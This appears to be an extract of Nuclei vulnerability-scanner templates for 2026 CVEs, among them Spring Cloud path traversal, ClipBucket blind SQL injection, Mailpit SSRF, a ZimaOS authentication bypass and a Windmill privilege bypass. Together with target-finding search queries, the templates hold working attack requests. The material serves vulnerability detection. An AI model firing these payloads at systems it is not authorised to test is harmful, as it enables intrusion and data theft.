CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-22778\n    epss-score: 0.18287\n    epss-percentile: 0.97229\n    cwe-id: CWE-209\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: vllm\n    product: vllm\n    shodan-query: http.html:\"/v1/models\" http.html:\"vllm\"\n  tags: cve,cve2026,vllm,llm,ai,disclosure,exposure,intrusive\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /v1/models HTTP/1.1\n        Host: {{Hostname}}\n        Accept: application/json\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"\\\"id\\\":\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: model\n        part: body\n        internal: true\n        group: 1\n        regex:\n          - '\"id\"\\s*:\\s*\"([^\"]+)\"'\n\n  - raw:\n      - |\n        POST /v1/chat/completions HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"model\":\"{{model}}\",\"messages\":[{\"role\":\"user\",\"content\":[{\"type\":\"text\",\"text\":\"{{randstr}}\"},{\"type\":\"image_url\",\"image_url\":{\"url\":\"data:image/png;base64,bm90YW5pbWFnZQ==\"}}]}],\"max_tokens\":1}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 400'\n          - 'contains(body, \"_io.BytesIO object at 0x\")'\n        condition: and\n# digest: 490a004630440220205e6a53b3fb0e5ceb44f14dc414dea7bf37cbfc73860b1742c04f12b18cb70102202d9882244ecacb5a87690af7515b0a2bc4e2ddef4e398bdf8c1490d21ab09c5e:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-22778.yaml","vuln_id":"cve-2026-22778"},{"raw":"id: CVE-2026-22739\n\ninfo:\n  name: Spring Cloud Config Server - Path Traversal\n  author: 0x_Akoko,vulnh0lic\n  severity: high\n  description: |\n    Spring Cloud 3.1.x < 3.1.13, 4.1.x < 4.1.9, 4.2.x < 4.2.3, 4.3.x < 4.3.2, and 5.0.x < 5.0.2 contain a path traversal caused by profile parameter substitution in Config Server using native file system backend, letting attackers access files outside configured directories, exploit requires crafted request.\n  impact: |\n    Attackers can access arbitrary files outside intended directories, potentially exposing sensitive information\n  remediation: |\n    \"Upgrade to versions 3.1.13, 4.1.9, 4.2.3, 4.3.2, or 5.0.2 or later.\n  reference:\n    - https://spring.io/security/cve-2026-22739\n    - https://spring.io/blog/2026/03/23/spring-cloud-config-5-0-2-4-3-2-4-2-6-4-1-9-3-1-13-released\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-22739\n    - https://www.herodevs.com/vulnerability-directory/cve-2026-22739\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L\n    cvss-score: 8.6\n    cve-id: CVE-2026-22739\n    epss-score: 0.0122\n    epss-percentile: 0.68763\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 5\n    vendor: vmware\n    product: spring_cloud_config\n    shodan-query: http.html:\"propertySources\"\n    fofa-query: body=\"propertySources\" && body=\"profiles\" && body=\"label\"\n  tags: cve,cve2026,spring,spring-cloud,config-server,lfi,traversal\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/application/default\"\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"propertySources\"\n          - '\"profiles\"'\n          - '\"label\"'\n        condition: and\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/application/..%2F..%2F..%2F..%2F..%2Fetc\"\n      - \"{{BaseURL}}/application/..%2F..%2F..%2F..%2F..%2Fetc/main\"\n      - \"{{BaseURL}}/application/..%252F..%252F..%252F..%252F..%252Fetc\"\n      - \"{{BaseURL}}/application/default%2C..%2F..%2F..%2F..%2F..%2Fetc\"\n\n    stop-at-first-match: true\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"\\\"root\\\":\\\"x:0:0:\"\n          - \"root:.*:0:0\"\n        condition: or\n\n      - type: word\n        part: header\n        words:\n          - application/json\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100e1036e4c813f2ea791d3806479b24a088b49cfd2d1c2e09a7179622c76ace1a8022100c2c73bd89f2ed51ab116e623a37f29dddd9498894bf49c3b4522487d18c7044e:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-22739.yaml","vuln_id":"cve-2026-22739"},{"raw":"id: CVE-2026-22683\n\ninfo:\n  name: Windmill < 1.603.3 - Operator Authorization Bypass\n  author: chocapikk,DhiyaneshDK\n  severity: high\n  description: |\n    Windmill versions 1.276.0 through 1.603.2 contain an authorization bypass vulnerability in the folder management API endpoints. The endpoints for creating, deleting, and managing folder ownership do not enforce role-based access control for operator-level users. In Windmill, operators are restricted users intended to only execute existing scripts, but due to missing server-side authorization checks, operators can create folders, manage folder permissions, and access owner management endpoints. This bypass serves as the prerequisite for exploiting CVE-2026-23696 (SQL injection via folder addowner) enabling full privilege escalation from operator to super admin with remote code execution.\n  impact: |\n    An attacker with operator-level credentials can bypass role restrictions to create and manage folders. When chained with CVE-2026-23696 (SQL injection in folder addowner), this enables extraction of the JWT signing secret, forging of admin tokens, and escalation to super admin with arbitrary code execution on the server.\n  remediation: |\n    Update Windmill to version 1.603.3 or later which properly enforces operator role restrictions on folder management and job execution endpoints.\n  reference:\n    - https://github.com/Chocapikk/Windfall\n    - https://github.com/windmill-labs/windmill/commit/942fb629210ebb287f48467d1535ffde3a3eeafe\n    - https://chocapikk.com/posts/2026/windfall-nextcloud-flow-windmill-rce/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-22683\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N\n    cvss-score: 8.1\n    cve-id: CVE-2026-22683\n    epss-score: 0.02609\n    epss-percentile: 0.85445\n    cwe-id: CWE-862\n  metadata:\n    verified: true\n    max-request: 5\n    vendor: windmill-labs\n    product: windmill\n  tags: cve,cve2026,windmill,operator,privesc,authenticated\n\nvariables:\n  folder: \"{{to_lower(rand_text_alpha(8))}}\"\n\nflow: |\n  http(\"list-workspaces\") && http(\"check-role\") && http(\"create-folder\") && http(\"verify-bypass\") && http(\"cleanup\")\n\nhttp:\n  - id: list-workspaces\n    raw:\n      - |\n        GET /api/workspaces/list HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer {{token}}\n        Content-Type: application/json\n\n    matchers:\n      - type: word\n        words:\n          - '\"id\"'\n        internal: true\n\n    extractors:\n      - type: regex\n        name: workspace\n        part: body\n        group: 1\n        regex:\n          - '\"id\"\\s*:\\s*\"([^\"]+)\"'\n        internal: true\n\n  - id: check-role\n    raw:\n      - |\n        GET /api/w/{{workspace}}/users/whoami HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer {{token}}\n        Content-Type: application/json\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"contains_all(body, '\\\"operator\\\":true','\\\"is_admin\\\":false')\"\n        internal: true\n\n  - id: create-folder\n    raw:\n      - |\n        POST /api/w/{{workspace}}/folders/create HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer {{token}}\n        Content-Type: application/json\n\n        {\"name\":\"{{folder}}\"}\n\n    matchers:\n      - type: word\n        words:\n          - \"Created folder\"\n        internal: true\n\n  - id: verify-bypass\n    raw:\n      - |\n        GET /api/w/{{workspace}}/folders/get/{{folder}} HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer {{token}}\n        Content-Type: application/json\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        words:\n          - '\"owners\"'\n          - '\"extra_perms\"'\n        condition: and\n\n      - type: status\n        status:\n          - 200\n\n  - id: cleanup\n    raw:\n      - |\n        DELETE /api/w/{{workspace}}/folders/delete/{{folder}} HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer {{token}}\n        Content-Type: application/json\n\n    matchers:\n      - type: status\n        status:\n          - 200\n        internal: true\n# digest: 4a0a004730450220536fe14138713cd5a904236d4292f25375e449d567d58f81886152176a50b3e7022100b24347fabcb603fcb5ee501d04e8de9a2e47e009489f8bda1393ba5329e39714:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-22683.yaml","vuln_id":"cve-2026-22683"},{"raw":"id: CVE-2026-2262\n\ninfo:\n  name: Easy Appointments <= 3.12.21 - Information Disclosure\n  author: 0x_Akoko\n  severity: high\n  description: |\n   Easy Appointments WordPress plugin <= 3.12.21 contains a sensitive information exposure caused by an unauthenticated REST API endpoint /wp-json/wp/v2/eablocks/ea_appointments/ registered with permission_callback allowing unrestricted access, letting unauthenticated attackers extract sensitive customer appointment data.\n  impact: |\n   Unauthenticated attackers can access sensitive customer data, including names, emails, phone numbers, IPs, descriptions, and pricing, risking privacy and data leakage.\n  remediation: |\n   Update to the latest version of Easy Appointments plugin.\n  reference:\n    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/easy-appointments/easy-appointments-31221-unauthenticated-sensitive-information-exposure-via-rest-api\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-2262\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-2262\n    epss-score: 0.0239\n    epss-percentile: 0.84007\n    cwe-id: CWE-284\n    cpe: cpe:2.3:a:motopress:easy_appointments:*:*:*:*:*:wordpress:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    fofa-query: body=\"/wp-content/plugins/easy-appointments/\"\n    shodan-query: http.html:\"/wp-content/plugins/easy-appointments/\"\n  tags: cve,cve2026,wordpress,wp,wp-plugin,exposure,easy-appointments\n\nhttp:\n  - raw:\n      - |\n        GET /wp-json/wp/v2/eablocks/ea_appointments/ HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"contains_all(body, 'email', 'phone', 'ip', 'name')\"\n          - \"contains(content_type, 'application/json')\"\n          - \"status_code == 200\"\n        condition: and\n# digest: 4b0a004830460221009cc82c93b3e3b5061d0ade275f62d65d493880e99947a609d09de56785eddbdf022100e7b094650dfdcfa6cac2c71b8d8cce2eb3fad6a4f9580817858de1fecad94017:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-2262.yaml","vuln_id":"cve-2026-2262"},{"raw":"id: CVE-2026-22557\n\ninfo:\n  name: UniFi Network Application - Path Traversal\n  author: Aryu-RU\n  severity: critical\n  description: |\n    UniFi Network Application contains a path traversal vulnerability allowing a network attacker to access and manipulate files on the underlying system, potentially leading to account access, exploit requires network access.\n  impact: |\n    Network attackers can access and manipulate system files, potentially compromising user accounts and system integrity.\n  remediation: |\n    Update to the latest version of UniFi Network Application.\n  reference:\n    - https://community.ui.com/releases/Security-Advisory-Bulletin-062-062/c29719c0-405e-4d4a-8f26-e343e99f931b\n    - https://github.com/ThePotatoOfDoom/CVE-2026-22557-PoC\n    - https://www.cycognito.com/blog/emerging-threat-ubiquiti-unifi-network-application-path-traversal-cve-2026-22557/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-22557\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10.0\n    cve-id: CVE-2026-22557\n    epss-score: 0.28116\n    epss-percentile: 0.98117\n    cwe-id: CWE-22\n    cpe: cpe:2.3:a:ui:unifi_network_application:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: ui\n    product: unifi_network_application\n    shodan-query: http.title:\"UniFi Network\"\n    fofa-query: title=\"UniFi Network\"\n  tags: cve,cve2026,unifi,ubnt,lfi,traversal,unauth\n\nhttp:\n  - raw:\n      - |\n        GET /guest/s/default/login?page_error=..%2F..%2Fweb.xml HTTP/1.1\n        Host: {{Hostname}}\n        Referer: {{RootURL}}/guest/s/default/?id=aa:bb:cc:dd:ee:ff&ap=00:11:22:33:44:55&ssid=test&url=http://example.com\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"<servlet>\",\"<web-app\")'\n          - 'contains(content_type, \"application/xml\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4b0a00483046022100d88433ce825b137098ec34ed78788c16f715e2cedb2daa52e8ce06dda3e6e7cd022100a9a78930e48f568aad08917d45930a4c8c856db505c62e1d08e8bccf62b905a0:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-22557.yaml","vuln_id":"cve-2026-22557"},{"raw":"id: CVE-2026-22200\n\ninfo:\n  name: osTicket - Arbitrary File Read\n  author: DhiyaneshDk\n  severity: high\n  description: |\n    Enhancesoft osTicket versions 1.18.x prior to 1.18.3 and 1.17.x prior to 1.17.7 contain an arbitrary file read vulnerability in the ticket PDF export functionality. A remote attacker can submit a ticket containing crafted rich-text HTML that includes PHP filter expressions which are insufficiently sanitized before being processed by the mPDF PDF generator during export. When the attacker exports the ticket to PDF, the generated PDF can embed the contents of attacker-selected files from the server filesystem as bitmap images, allowing disclosure of sensitive local files in the context of the osTicket application user. This issue is exploitable in default configurations where guests may create tickets and access ticket status, or where self-registration is enabled.\n  impact: |\n    Remote attackers can read sensitive local files, leading to information disclosure within the osTicket application context.\n  remediation: |\n    Update to a version later than 1.18.2 or the latest available version.\n  reference:\n    - https://horizon3.ai/attack-research/attack-blogs/ticket-to-shell-exploiting-php-filters-and-cnext-in-osticket-cve-2026-22200/\n    - https://github.com/horizon3ai/CVE-2026-22200/blob/main/check.py\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-22200\n  classification:\n    cve-id: CVE-2026-22200\n    epss-score: 0.73589\n    epss-percentile: 0.9947\n    cwe-id: CWE-74\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: osticket\n    product: osticket\n    shodan-query: html:\"osTicket\"\n  tags: cve,cve2026,osticket,lfi,passive,vuln\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /open.php HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        name: topic_id\n        regex:\n          - (?is)<option[^>]*\\bvalue=[\"'](\\d+)[\"'][^>]*>\\s*([^<]+)\\s*</option>\n          - (?is)\\bname=[\"']topicId[\"'][^>]*\\bvalue=[\"'](\\d+)[\"']\n        group: 1\n        internal: true\n\n      - type: regex\n        name: csrf_token\n        regex:\n          - name=[\"\\']__CSRFToken__[\"\\'][^>]*value=[\"\\']([^\"\\']+)[\"\\']\n          - name=[\"\\']csrf_token[\"\\'][^>]*value=[\"\\']([^\"\\']+)[\"\\']\n          - <input[^>]*type=[\"\\']hidden[\"\\'][^>]*name=[\"\\'][^\"\\']*token[^\"\\']*[\"\\'][^>]*value=[\"\\']([^\"\\']+)[\"\\']\n        group: 1\n        internal: true\n\n  - raw:\n      - |\n        POST /open.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        a=open&subject=Test+Ticket+Submission&message=%3Cimg+src%3D%22doesnotexist.jpg%22+srcset%3D%22http%3A%2F%2FPATCH_DETECT_7f3a9b2e.example.com%2Fimage-400.jpg+400w%2C+http%3A%2F%2FPATCH_DETECT_7f3a9b2e.example.com%2Fimage-800.jpg+800w%2C+http%3A%2F%2FPATCH_DETECT_7f3a9b2e.example.com%2Fimage-1200.jpg+1200w%2C+http%3A%2F%2FPATCH_DETECT_7f3a9b2e.example.com%2Fimage-1600.jpg+1600w%22+alt%3D%22Office+landscape%22+width%3D%22800%22+height%3D%22600%22+data-image%3D%22vgmd0ykzb2uq%22%3E&name=Test+User&__CSRFToken__={{csrf_token}}&topicId={{topic_id}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n          - contains_all(body, 'srcset','http://PATCH_DETECT_7f3a9b2e.example.com')\n        condition: and\n# digest: 4a0a00473045022077c8050fdcd0d616ab70275cf8a42962daa7737b9bb7ae5da30821d1ff750b0802210095345600626755103e0906a0a8dfec1465bbd2a7e393b0e56fa79ec8f6a8c1ca:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-22200.yaml","vuln_id":"cve-2026-22200"},{"raw":"id: CVE-2026-21891\n\ninfo:\n  name: ZimaOS - Authentication Bypass\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    ZimaOS <= 1.5.0 contains a broken authentication caused by improper password validation for known system service accounts in the login function, letting attackers authenticate with any password for these accounts, exploit requires knowledge of common usernames.\n  impact: |\n    Attackers can gain authenticated access to system service accounts without valid passwords, potentially compromising the system.\n  remediation: |\n    Update to a fixed version when available or apply patches to properly validate passwords for system service accounts.\n  reference:\n    - https://github.com/IceWhaleTech/ZimaOS/security/advisories/GHSA-xj93-qw9p-jxq4\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-21891\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L\n    cvss-score: 9.4\n    cve-id: CVE-2026-21891\n    cwe-id: CWE-287\n    epss-score: 0.02316\n    epss-percentile: 0.83471\n    cpe: cpe:2.3:o:zimaspace:zimaos:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: html:\"ZimaOS\"\n    product: zimaos\n    vendor: zimaspace\n  tags: cve,cve2026,zimaos,auth-bypass,broken-auth,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /v1/users/login HTTP/1.1\n        Host: {{Hostname}}\n        Accept: application/json, text/plain, */*\n        Content-Type: application/json\n        Origin: {{RootURL}}\n        Referer: {{RootURL}}/\n\n        {\n          \"username\": \"root\",\n          \"password\": \"anything\"\n        }\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"success\"\n          - \"username\"\n          - \"created_at\"\n        condition: and\n\n      - type: word\n        part: content_type\n        words:\n          - \"application/json\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502207e9674090d849b84ce53d0876034171263c50e247ae08a56ed4c1eb60c1c8cc5022100ac0a73840022f6253ae16431a9aa1798d5b4e130c6a400f98e856a518cf7a8c4:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-21891.yaml","vuln_id":"cve-2026-21891"},{"raw":"id: CVE-2026-21877\n\ninfo:\n  name: n8n >= 0.123.0 and < 1.121.3 - Remote Code Execution\n  author: s4e-io\n  severity: critical\n  description: |\n    n8n versions >= 0.123.0 and < 1.121.3 contain a critical authenticated remote code execution vulnerability via arbitrary file write. An authenticated user can exploit the Git node to overwrite critical files and execute untrusted code on the n8n server, potentially leading to full system compromise. The vulnerability affects both self-hosted and n8n Cloud instances.\n  impact: |\n    Full system compromise including access to all credentials, API tokens, OAuth secrets, database connections, and workflow automation capabilities. n8n becomes a single point of failure exposing all connected systems.\n  remediation: |\n    Upgrade to n8n v1.121.3 or later. If upgrading is not immediately possible, disable the Git node and limit access for untrusted users.\n  reference:\n    - https://github.com/n8n-io/n8n/security/advisories/GHSA-v364-rw7m-3263\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-21877\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 9.9\n    cve-id: CVE-2026-21877\n    epss-score: 0.05449\n    epss-percentile: 0.92758\n    cwe-id: CWE-434\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: n8n-io\n    product: n8n\n    shodan-query: http.favicon.hash:-831756631\n    fofa-query: icon_hash=\"-831756631\"\n  tags: cve,cve2026,n8n,workflow,rce,authenticated,passive,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/signin\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"<title>n8n.io\"\n        case-insensitive: true\n\n      - type: dsl\n        name: vulnerable\n        dsl:\n          - compare_versions(version, '>= 0.123.0', '< 1.121.3')\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: regex\n        name: base64_content\n        group: 1\n        regex:\n          - '<meta name=\"n8n:config:sentry\" content=\"([A-Za-z0-9+/=]+)\"'\n        internal: true\n\n      - type: dsl\n        name: version\n        dsl:\n          - 'replace_regex(base64_decode(base64_content), \".*n8n@([0-9]+\\\\.[0-9]+\\\\.[0-9]+).*\", \"$1\")'\n        internal: true\n\n      - type: dsl\n        dsl:\n          - '\"n8n Version: \" + version'\n# digest: 4b0a00483046022100c64831101cf35acb60fb2250c43d3f1645540837f1f8c3b7ee2aaddff0ff0515022100a7ac10356d35127913cee101f4c05c9b73d5b665d9f88a8db9d7f6993266b42f:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-21877.yaml","vuln_id":"cve-2026-21877"},{"raw":"id: CVE-2026-21875\n\ninfo:\n  name: ClipBucket v5 <= 5.5.2 - Unauthenticated Blind SQL Injection\n  author: str4k3r,0x_Akoko\n  severity: critical\n  description: |\n    ClipBucket v5.5.2-#187 and below contain a blind SQL injection caused by unsanitized obj_id parameter in /actions/ajax.php used in user_exists function, letting attackers perform blind SQL injection remotely, exploit requires crafted POST request.\n  impact: |\n    Attackers can perform blind SQL injection to extract or manipulate database information remotely.\n  remediation: |\n    Update to the latest version once a fix is available.\n  reference:\n    - https://github.com/MacWarrior/clipbucket-v5/security/advisories/GHSA-crpv-fmc4-j392\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-21875\n  classification:\n    cve-id: CVE-2026-21875\n    epss-score: 0.0175\n    epss-percentile: 0.7792\n    cwe-id: CWE-89\n    cvss-score: 9.8\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: macwarrior\n    product: clipbucket\n    shodan-query: http.html:\"ClipBucket\"\n    fofa-query: body=\"ClipBucket\" || body=\"clipbucket\"\n  tags: cve,cve2026,clipbucket,sqli,blind-sqli,time-based,unauth\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_any(tolower(body), \"clipbucket\", \"cb_v5\", \"clip-bucket\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        @timeout: 10s\n        POST /actions/ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        mode=add_comment&type=channel&reply_to=1&obj_id=999999%27%20OR%20(userid%3D1%20AND%20SLEEP(6))--%20-&name=test&email=test%40gmail.com&comment=testing\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"channel_not_exist\")'\n          - 'duration >= 6'\n        condition: and\n# digest: 490a004630440220584e79db396436dfaa1c97a2b25449aa4411d2b26efd40f7649fafac7be8df0c022052760b95e80ebf65ce0568be16773528c14c0e60d59549e17c369ad249450920:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-21875.yaml","vuln_id":"cve-2026-21875"},{"raw":"id: CVE-2026-21859\n\ninfo:\n  name: Mailpit < 1.28.3 - Server-Side Request Forgery\n  author: omarkurt\n  severity: high\n  description: |\n    Mailpit <= 1.28.0 contains a server-side request forgery caused by insufficient validation of internal IP addresses in the /proxy endpoint, letting attackers make requests to internal network resources, exploit requires crafted HTTP GET requests.\n  impact: |\n    Attackers can access internal network services and APIs, potentially exposing sensitive internal resources.\n  remediation: |\n    Update to version 1.28.1 or later.\n  reference:\n    - https://rosecurify.com/advisories/RO-26-001-mailpit-server-side-request-forgery-ssrf/\n    - https://github.com/axllent/mailpit/security/advisories/GHSA-8v65-47jx-7mfr\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N\n    cvss-score: 8.6\n    cve-id: CVE-2026-21859\n    epss-score: 0.00813\n    epss-percentile: 0.57103\n    cwe-id: CWE-918\n    cpe: cpe:2.3:a:axllent:mailpit:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: axllent\n    product: mailpit\n    shodan-query: title:\"Mailpit\"\n    fofa-query: title=\"Mailpit\"\n  tags: cve,cve2026,mailpit,axllent,oast,oob,ssrf,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        GET /proxy?url=http://127.0.0.1:8025/api/v1/info HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"Version\"'\n          - '\"Database\"'\n          - '\"RuntimeStats\"'\n        condition: and\n\n      - type: word\n        part: header\n        words:\n          - \"application/json\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502203618364215e934c3cb84d7b19ef7a2bd5489ad49576f2127bbcf1cb08155292a022100dd96cc0b0f9f7f81d95d6570d7e5d99b860b53c82c90f778ca48366964b8536a:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-21859.yaml","vuln_id":"cve-2026-21859"},{"raw":"id: CVE-2026-21858\n\ninfo:\n  name: n8n Webhooks - Remote Code Execution\n  author: rxerium\n  severity: critical\n  description: |\n    n8n is an open source workflow automation platform. Versions starting with 1.65.0 and below 1.121.0 enable an attacker to access files on the underlying server through execution of certain form-based workflows. A vulnerable workflow could grant access to an unauthenticated remote attacker, resulting in exposure of sensitive information stored on the system and may enable further compromise depending on deployment configuration and workflow usage. This issue is fixed in version 1.121.0.\n  impact: |\n    Unauthenticated remote attackers can access sensitive files, potentially leading to information disclosure and further system compromise.\n  remediation: |\n    Update to version 1.121.0 or later.\n  reference:\n    - https://thehackernews.com/2026/01/critical-n8n-vulnerability-cvss-100.html\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-21858\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N\n    cvss-score: 10.0\n    cve-id: CVE-2026-21858\n    epss-score: 0.78188\n    epss-percentile: 0.99579\n    cwe-id: CWE-20\n  metadata:\n    verified: true\n    max-request: 2\n    shodan-query: http.favicon.hash:-831756631\n  tags: cve,cve2026,n8n,workflow,rce,vkev,vuln\n\nflow: http(1) || http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/signin\"\n\n    host-redirects: true\n    max-redirects: 3\n\n    extractors:\n      - type: regex\n        name: base64_content\n        group: 1\n        regex:\n          - '<meta name=\"n8n:config:sentry\" content=\"([A-Za-z0-9+/=]+)\"'\n        internal: true\n\n      - type: dsl\n        name: version\n        dsl:\n          - 'replace_regex(base64_decode(base64_content), \".*n8n@([0-9]+\\\\.[0-9]+\\\\.[0-9]+).*\", \"$1\")'\n        internal: true\n\n      - type: dsl\n        dsl:\n          - '\"n8n Version: \" + version'\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"<title>n8n.io\"\n        case-insensitive: true\n\n      - type: status\n        status:\n          - 200\n\n      - type: dsl\n        dsl:\n          - 'compare_versions(version, \">= 1.65.0\", \"< 1.121.0\")'\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/rest/sentry.js\"\n\n    extractors:\n      - type: regex\n        name: version\n        group: 1\n        regex:\n          - 'release\":\"([0-9.]+)\"'\n        internal: true\n\n      - type: dsl\n        dsl:\n          - '\"n8n Version: \" + version'\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"release\"'\n        case-insensitive: true\n\n      - type: status\n        status:\n          - 200\n\n      - type: dsl\n        dsl:\n          - compare_versions(version, '>= 1.65.0', '< 1.121.0')\n# digest: 4b0a00483046022100c74d8910f826d2fd635db2e4fdb814a7eacb77ca6932b7210d72943cc160c7d1022100fde4f0b76c896a350248de7e3935f88ad6a49db00b0e3c8bb64e4eb35f329c81:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-21858.yaml","vuln_id":"cve-2026-21858"},{"raw":"id: CVE-2026-21643\n\ninfo:\n  name: Fortinet FortiClientEMS 7.4.4 - SQL Injection\n  author: ritikchaddha\n  severity: critical\n  description: |\n    Fortinet FortiClientEMS version 7.4.4 and earlier contains an unauthenticated SQL injection vulnerability in the /api/v1/init_consts endpoint. The 'Site' HTTP header value is passed directly into the PostgreSQL search_path without sanitization, allowing remote unauthenticated attackers to inject arbitrary SQL commands. This can lead to information disclosure, database manipulation, or OS command execution when chained with PostgreSQL functions.\n  impact: |\n    An unauthenticated remote attacker can execute arbitrary SQL queries against the backend PostgreSQL database, potentially extracting sensitive data, modifying database contents, or achieving remote code execution through PostgreSQL-specific functions (e.g., COPY, lo_import, pg_read_file).\n  remediation: |\n    Upgrade FortiClientEMS to a patched version as recommended by Fortinet. As a workaround, restrict network access to the FortiClientEMS management interface and apply WAF rules to filter malicious Site header values.\n  reference:\n    - https://www.fortiguard.com/psirt/FG-IR-2026-21643\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-21643\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-21643\n    cwe-id: CWE-89\n    epss-score: 0.97735\n    epss-percentile: 0.99904\n  metadata:\n    verified: false\n    max-request: 2\n    vendor: fortinet\n    product: forticlientems\n    shodan-query: http.favicon.hash:-800551065\n    fofa-query: 